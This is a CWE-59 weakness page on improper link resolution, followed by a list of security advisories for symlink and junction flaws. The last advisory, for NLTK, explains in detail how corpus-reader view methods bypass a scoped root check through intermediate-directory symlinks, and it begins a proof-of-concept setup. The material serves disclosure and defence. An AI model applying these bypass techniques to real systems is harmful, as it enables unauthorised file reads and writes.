Common Weakness Enumeration

CWE-59

Weakness Allowed

Improper Link Resolution Before File Access

Abstraction: Base · Status: Draft

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Mapping guidance

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Relationships and members
ChildOf: CWE-706 · View CWE-1000
ChildOf: CWE-706 · View CWE-1003
Modes of introduction
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Detection methods

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Notes

Theoretical

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2008-11-24 · CWE 1.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Relationships

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Description, Name

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Background_Details, Other_Notes

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Common_Consequences, Observed_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-06-23 · CWE 2.7

updated Common_Consequences, Other_Notes

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2022-04-28 · CWE 4.7

updated Research_Gaps

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Relationships

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Detection_Factors, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Alternate_Terms, Name, Observed_Examples

2742 vulnerabilities reference this CWE, most recent first.

GHSA-G2X6-C7HH-8CFM

Vulnerability from github – Published: 2022-05-17 01:27 – Updated: 2022-05-17 01:27
VLAI
Details

axiom-test.sh in axiom 20100701-1.1 uses tempfile to create a safe temporary file but appends a suffix to the original filename and writes to this new filename, which allows local users to overwrite arbitrary files via a symlink attack on the new filename.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-1640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-01-28T00:55:00Z",
    "severity": "LOW"
  },
  "details": "axiom-test.sh in axiom 20100701-1.1 uses tempfile to create a safe temporary file but appends a suffix to the original filename and writes to this new filename, which allows local users to overwrite arbitrary files via a symlink attack on the new filename.",
  "id": "GHSA-g2x6-c7hh-8cfm",
  "modified": "2022-05-17T01:27:07Z",
  "published": "2022-05-17T01:27:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-1640"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/90663"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=736358"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/01/22/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/01/22/4"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/102383"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G37G-6895-QW74

Vulnerability from github – Published: 2026-07-18 18:30 – Updated: 2026-07-18 18:30
VLAI
Details

A vulnerability was identified in nearai ironclaw up to 0.29.1. The affected element is the function validate_path of the file src/tools/builtin/path_utils.rs of the component write_file. The manipulation leads to link following. Local access is required to approach this attack. The exploit is publicly available and might be used. The identifier of the patch is 369ff3d240cf3c0787b50e1e9f182e1a06c71255. It is recommended to apply a patch to fix this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-16130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-18T18:16:37Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was identified in nearai ironclaw up to 0.29.1. The affected element is the function validate_path of the file src/tools/builtin/path_utils.rs of the component write_file. The manipulation leads to link following. Local access is required to approach this attack. The exploit is publicly available and might be used. The identifier of the patch is 369ff3d240cf3c0787b50e1e9f182e1a06c71255. It is recommended to apply a patch to fix this issue.",
  "id": "GHSA-g37g-6895-qw74",
  "modified": "2026-07-18T18:30:21Z",
  "published": "2026-07-18T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearai/ironclaw/issues/4797"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearai/ironclaw/pull/4869"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearai/ironclaw/commit/369ff3d240cf3c0787b50e1e9f182e1a06c71255"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearai/ironclaw"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-16130"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/856883"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/379848"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/379848/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G39H-563W-FG8C

Vulnerability from github – Published: 2025-11-11 00:30 – Updated: 2025-12-08 18:30
VLAI
Details

A privilege escalation vulnerability was identified in GitHub Enterprise Server that allowed an authenticated Enterprise admin to gain root SSH access to the appliance by exploiting a symlink escape in pre-receive hook environments. By crafting a malicious repository and environment, an attacker could replace system binaries during hook cleanup and execute a payload that adds their own SSH key to the root user’s authorized keys—thereby granting themselves root SSH access to the server. To exploit this vulnerability, the attacker needed to have enterprise admin privileges. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.19, and was fixed in versions 3.14.19, 3.15.14, 3.16.10, 3.17.7 and 3.18.1. This vulnerability was reported via the GitHub Bug Bounty program.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-10T23:15:41Z",
    "severity": "HIGH"
  },
  "details": "A privilege escalation vulnerability was identified in GitHub Enterprise Server that allowed an authenticated Enterprise admin to gain root SSH access to the appliance by exploiting a symlink escape in pre-receive hook environments. By crafting a malicious repository and environment, an attacker could replace system binaries during hook cleanup and execute a payload that adds their own SSH key to the root user\u2019s authorized keys\u2014thereby granting themselves root SSH access to the server. To exploit this vulnerability, the attacker needed to have enterprise admin privileges. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.19, and was fixed in versions 3.14.19, 3.15.14, 3.16.10, 3.17.7 and 3.18.1. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-g39h-563w-fg8c",
  "modified": "2025-12-08T18:30:25Z",
  "published": "2025-11-11T00:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11578"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.19"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.14/admin/release-notes#3.14.20"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.15/admin/release-notes#3.15.14"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.15/admin/release-notes#3.15.15"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.10"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.11"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.7"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.8"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.1"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G3CJ-QPC9-PHM2

Vulnerability from github – Published: 2023-04-18 18:30 – Updated: 2024-04-04 03:32
VLAI
Details

An NTFS Junction condition exists in the Qualys Cloud Agent for Windows platform in versions before 4.8.0.31. Attackers may write files to arbitrary locations via a local attack vector. This allows attackers to assume the privileges of the process, and they may delete or otherwise on unauthorized files, allowing for the potential modification or deletion of sensitive files limited only to that specific directory/file object. This vulnerability is bounded only to the time of uninstallation and can only be exploited locally.

At the time of this disclosure, versions before 4.0 are classified as End of Life.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-28141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-18T16:15:09Z",
    "severity": "MODERATE"
  },
  "details": "\nAn NTFS Junction condition exists in the Qualys Cloud Agent\nfor Windows platform in versions before 4.8.0.31. Attackers may write files to\narbitrary locations via a local attack vector. This allows attackers to assume\nthe privileges of the process, and they may delete or otherwise on unauthorized\nfiles, allowing for the potential modification or deletion of sensitive files\nlimited only to that specific directory/file object. This vulnerability is\nbounded only to the time of uninstallation and can only be exploited locally.\n\n\n\nAt the time of this disclosure, versions before 4.0 are\nclassified as End of Life.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",
  "id": "GHSA-g3cj-qpc9-phm2",
  "modified": "2024-04-04T03:32:08Z",
  "published": "2023-04-18T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28141"
    },
    {
      "type": "WEB",
      "url": "https://www.qualys.com/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3QR-GJFX-RH5P

Vulnerability from github – Published: 2022-05-28 00:00 – Updated: 2022-06-09 00:00
VLAI
Details

Trend Micro Maximum Security 2022 is vulnerable to a link following vulnerability that could allow a low privileged local user to manipulate the product’s secure erase feature to delete arbitrary files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-30687"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-27T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "Trend Micro Maximum Security 2022 is vulnerable to a link following vulnerability that could allow a low privileged local user to manipulate the product\u2019s secure erase feature to delete arbitrary files.",
  "id": "GHSA-g3qr-gjfx-rh5p",
  "modified": "2022-06-09T00:00:21Z",
  "published": "2022-05-28T00:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30687"
    },
    {
      "type": "WEB",
      "url": "https://helpcenter.trendmicro.com/en-us/article/tmka-11017"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-22-789"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G44J-7VP3-68CV

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2024-02-02 15:59
VLAI
Summary
Arbitrary File Write in Libcontainer
Details

Libcontainer 1.6.0, as used in Docker Engine, allows local users to escape containerization ("mount namespace breakout") and write to arbitrary file on the host system via a symlink attack in an image when respawning a container.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-3629"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-19T22:08:41Z",
    "nvd_published_at": "2015-05-18T15:59:15Z",
    "severity": "HIGH"
  },
  "details": "Libcontainer 1.6.0, as used in Docker Engine, allows local users to escape containerization (\"mount namespace breakout\") and write to arbitrary file on the host system via a symlink attack in an image when respawning a container.",
  "id": "GHSA-g44j-7vp3-68cv",
  "modified": "2024-02-02T15:59:34Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3629"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docker/docker/commit/d5ebb60bddbabea0439213501f4f6ed494b23cba"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#%21searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ"
    },
    {
      "type": "WEB",
      "url": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3629"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2015-05/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/131835/Docker-Privilege-Escalation-Information-Disclosure.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2015/May/28"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/74558"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary File Write in Libcontainer"
}

GHSA-G47J-994J-JC39

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2023-01-31 18:30
VLAI
Details

ZoneAlarm Anti-Ransomware before version 1.0.713 copies files for the report from a directory with low privileges. A sophisticated timed attacker can replace those files with malicious or linked content, such as exploiting CVE-2020-0896 on unpatched systems.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-6012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-04T14:15:00Z",
    "severity": "LOW"
  },
  "details": "ZoneAlarm Anti-Ransomware before version 1.0.713 copies files for the report from a directory with low privileges. A sophisticated timed attacker can replace those files with malicious or linked content, such as exploiting CVE-2020-0896 on unpatched systems.",
  "id": "GHSA-g47j-994j-jc39",
  "modified": "2023-01-31T18:30:23Z",
  "published": "2022-05-24T17:24:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6012"
    },
    {
      "type": "WEB",
      "url": "https://danishcyberdefence.dk/blog/zonealarm-check-point"
    },
    {
      "type": "WEB",
      "url": "https://www.zonealarm.com/anti-ransomware/release-history"
    },
    {
      "type": "WEB",
      "url": "https://www.zonealarm.com/software/extreme-security/release-history"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G48R-Q9WV-QHHM

Vulnerability from github – Published: 2026-11-21 18:30 – Updated: 2026-11-21 18:30
VLAI
Details

SurrealDB 3.0.0 before 4.0.0 contains a path traversal vulnerability in its filesystem storage bucket that only canonicalizes the bucket root, not descendant symlinks. Attackers can reference paths through a pre-existing symlink inside the bucket that pass the lexical prefix check, reading and writing files across the host filesystem.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-134291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-21T17:16:48Z",
    "severity": "HIGH"
  },
  "details": "SurrealDB 3.0.0 before 4.0.0 contains a path traversal vulnerability in its filesystem storage bucket that only canonicalizes the bucket root, not descendant symlinks. Attackers can reference paths through a pre-existing symlink inside the bucket that pass the lexical prefix check, reading and writing files across the host filesystem.",
  "id": "GHSA-g48r-q9wv-qhhm",
  "modified": "2026-11-21T18:30:24Z",
  "published": "2026-11-21T18:30:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-7pqw-x84x-frxc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-134291"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/surrealdb-3.0.0-before-4.0.0-path-traversal-via-filesystem-bucket-symlinks"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G555-PCG3-V642

Vulnerability from github – Published: 2022-05-17 05:53 – Updated: 2022-05-17 05:53
VLAI
Details

tkman in tkman 2.2 allows local users to overwrite arbitrary files via a symlink attack on a (1) /tmp/tkman##### or (2) /tmp/ll temporary file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-5137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-11-18T16:00:00Z",
    "severity": "MODERATE"
  },
  "details": "tkman in tkman 2.2 allows local users to overwrite arbitrary files via a symlink attack on a (1) /tmp/tkman##### or (2) /tmp/ll temporary file.",
  "id": "GHSA-g555-pcg3-v642",
  "modified": "2022-05-17T05:53:11Z",
  "published": "2022-05-17T05:53:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5137"
    },
    {
      "type": "WEB",
      "url": "http://lists.debian.org/debian-devel/2008/08/msg00285.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32407"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G58V-J9G9-5GFG

Vulnerability from github – Published: 2026-11-19 23:56 – Updated: 2026-11-19 23:56
VLAI
Summary
NLTK corpus-reader view methods bypass the scoped root sandbox via intermediate-directory symlinks
Details

affected: PyPI nltk >= 3.9.4 — CorpusReader.abspaths()/abspath() and the PlaintextCorpusReader / SyntaxCorpusReader view methods dynamically reproduced: nltk 3.9.4 (8/9, scoped-escape checks), 3.10.3 (wheel, 9/9 checks) and master 6818767b9 (9/9 checks)


Source references (file:line) are to commit 303f6e2b (release tag v3.10.3). Line numbers in the released nltk wheel match this tag exactly; master 6818767b9 contains the same code (pathsec.py renumbered by +44 lines from added hardening comments). In 3.9.4 the same logic exists at earlier line numbers (api.py:222-236 for open(), api.py:161-203 for abspath()/abspaths(), data.py:382-388 for the pointer open, pathsec.py:105-114 for the scoped branch); the affected code is identical.

Summary

CorpusReader.open() (nltk/corpus/reader/api.py:235-257) is NLTK's hardened file-access entry point: after a lexical guard it calls validate_path(..., required_root=self._root) (api.py:246-249), and the scoped branch of pathsec.validate_path (nltk/pathsec.py:168-179) resolves symlinks and raises ValueError when the resolved target is not inside the corpus root. The view methods do not use this entry point: PlaintextCorpusReader.words/sents/paras (nltk/corpus/reader/plaintext.py:67-118) and SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words (api.py:473-519) build their streams from self.abspaths(fileids, ...) (api.py:174-217), which only does a lexical self._root.join(fileid) (nltk/data.py:452-469) and returns a FileSystemPathPointer. That pointer is opened via FileSystemPathPointer.open() → pathsec.open(raw_path, "rb") with required_root left at its default None (data.py:438-447, nltk/pathsec.py:752,783), so only the global allowed-roots check runs. The O_NOFOLLOW in _hardened_open (pathsec.py:676-731) protects only the final path component, so an intermediate-directory symlink inside the corpus root pointing at a sibling allowed root is followed by the kernel. A caller who places such a symlink (or loads an untrusted corpus containing one) can read any file that open() would refuse — files outside the corpus root yet inside the global NLTK data sandbox — via PlaintextCorpusReader.words([...]) / SyntaxCorpusReader.words([...]) (and the abspaths()-returned pointer), defeating the scoped escape protection that GHSA-p4rw-class fixes and test_required_root_blocks_symlink_escape were added for.

Details

Root cause: two sibling file-access channels on the same CorpusReader disagree about the scoped sandbox.

  1. CorpusReader.open() (api.py:235-257) — the guarded channel:
  2. Layer 1 lexical guard (api.py:240-242) rejects absolute paths and ...
  3. Layer 2 scoped guard (api.py:246-249) calls pathsec.validate_path(path, context="CorpusReader", required_root=self._root).
  4. The required_root branch (pathsec.py:168-179) resolves the target with Path(raw).resolve() and raises ValueError when target.is_relative_to(scoped_root) is false.

  5. The view-method channel — abspaths() → FileSystemPathPointer → pathsec.open(required_root=None):

  6. CorpusReader.abspath() (api.py:174-183) and abspaths() (api.py:185-217) return self._root.join(f) with no validate_path call.
  7. FileSystemPathPointer.join() (data.py:452-469) only normalizes lexically (normpath + root-prefix startswith); it never calls os.path.realpath/Path.resolve, so the intermediate symlink is preserved verbatim.
  8. FileSystemPathPointer.open() (data.py:438-447) calls _secure_open(self._path, "rb") (aliased from pathsec.open) with no required_root, so pathsec.open (pathsec.py:752) uses its default required_root=None and validate_path (pathsec.py:783) runs only the global allowed-roots check (pathsec.py:181-207).
  9. Under ENFORCE=True + POSIX, _hardened_open (pathsec.py:676-731) opens with O_NOFOLLOW (pathsec.py:705) — but that flag only refuses a symlink in the final component; an intermediate directory symlink (corpus/sub -> <other allowed root>) is followed by the kernel. The post-open fd realpath re-validation (pathsec.py:728-731) again uses required_root=None, and since the target is inside an allowed root it passes.

  10. The view methods hand the unguarded pointers straight to the stream views:

  11. PlaintextCorpusReader.words/sents/paras (plaintext.py:67-118, abspaths at 76/96/116) and chapters (plaintext.py:230).
  12. SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words (api.py:473-519, abspaths at 478/489/498/509/517).
  13. StreamBackedCorpusView._open() (nltk/corpus/reader/util.py:203-216) calls self._fileid.open(self._encoding) on the PathPointer (util.py:210), landing in the required_root=None path above.

Net effect (observed): the identical fileid "sub/secret.txt" is rejected by reader.open() with ValueError: Security Violation [CorpusReader]: Path ... escapes root ... but successfully read by reader.words(["sub/secret.txt"]), returning the out-of-root file's content.

The abspaths()/view-method bypass contradicts the contract stated in open()'s docstring (api.py:238, "Security patched: prevents path traversal and scoped escapes") and the class-level promise that every fileid stays within the corpus root (api.py:26-30). Existing regression tests cover only the open()/validate_path(required_root=...) path (test_corpus_reader.py:31, test_corpus_reader_pathsec.py:39-49), not the view-method channel.

PoC

A self-contained, self-checking repro script is embedded at the end of this advisory. It builds a private temp sandbox as an allowed NLTK data root, creates corpus root R, sibling bar (inside the same allowed root), file bar/secret.txt = TOPSECRET, and an intermediate directory symlink R/sub -> bar. It then asserts the control (same fileid through open() is refused) and the attack (abspaths() pointer, PlaintextCorpusReader.words, SyntaxCorpusReader.words/sents read the secret), plus a boundary check that a symlink pointing outside every allowed root is still refused.

Scope note: dynamically run on (1) the released nltk 3.9.4 wheel, (2) the released nltk 3.10.3 wheel, and (3) master 6818767b9 (v3.10.3-15-g6818767b9). The scoped-escape checks pass on all three; the "global sandbox still blocks outside-allowed-root read" boundary check passes on 3.10.3 and master, and is expected to differ on 3.9.4: 3.9.4 ships pathsec.ENFORCE = False (enforcement became the default only in 3.10.0) and its pathsec.open is a thin builtins.open wrapper with no _hardened_open/O_NOFOLLOW, so on 3.9.4 the sandbox does not confine reads to the allowed roots at all — the escape is broader there, not narrower. The required_root scoped guard (1b0e519e2, "Implement scoped root validation in pathsec sentinel") is present in 3.9.4 and every later release (v3.10.0/3.10.1/3.10.2/3.10.3 confirmed by tag inspection), and static comparison shows the identical abspaths()/view-method code path in all of them; 3.9.4 and 3.10.3 were the versions dynamically run.

Environment / steps (Python 3.10.12, Linux, pathsec.ENFORCE=True, POSIX):

  1. SANDBOX=$(mktemp -d); nltk.data.path.append(SANDBOX) — the private dir becomes an allowed NLTK data root.
